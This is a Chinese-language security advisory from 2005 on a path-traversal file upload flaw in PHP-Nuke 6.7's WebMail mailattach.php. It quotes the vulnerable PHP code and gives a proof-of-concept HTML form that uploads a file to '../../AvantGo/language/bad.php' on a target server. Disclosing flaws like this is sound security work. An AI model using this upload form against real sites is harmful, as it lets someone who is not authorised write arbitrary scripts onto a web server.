PHP-Nuke mailattach.php远程文件上传漏洞
2005-08-16
系统编号:
WAVDB-00416
BUGTRAQ: 8764
影响版本:
PHP-Nuke 6.7
程序介绍:
PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。
漏洞分析:
PHP-Nuke mailattach.php脚本没有充分过滤用户输入,远程攻击者可以利用这个漏洞把文件传到WEB目录之外的文件系统上。
问题存在于modules/WebMail/mailattach.php脚本中:
if (isset($userfile) AND $userfile != none AND !ereg( / , $userfile) AND
!ereg( \.\. , $userfile) AND !ereg( % , $userfile)) {
if (ini_get(file_uploads) AND $attachments == 1) {
$updir = tmp ;
@copy($userfile, $updir/$userfile_name );
@unlink($userfile);
}
}
任何用户可以选择上传的文件路径,名称和扩展名,由于对文件路径缺少充分过滤,攻击者可以提交任意文件到WEB ROOT目录之外的文件系统中,可导致目标文件被覆盖。
漏洞利用:
<form
action= http://[target]/modules/WebMail/mailattach.php?userfile_name=../../AvantGo/language/bad.php
method= POST ENCTYPE= multipart/form-data >
<input type= hidden name= attachments value= 1 >
<input type= file name= userfile >
<input type= submit name= Send File>
</form>
此问题只能工作在Windows平台下,因为文件的临时名类似c:\temp\php054.TMP,因此$userfile不能包含任何
\字符。
解决方案:
厂商补丁:
Francisco Burzi
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phpnuke.org
信息来源:
<*来源:Frog Man (leseulfrog@hotmail.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=106529537331829&w=2
*>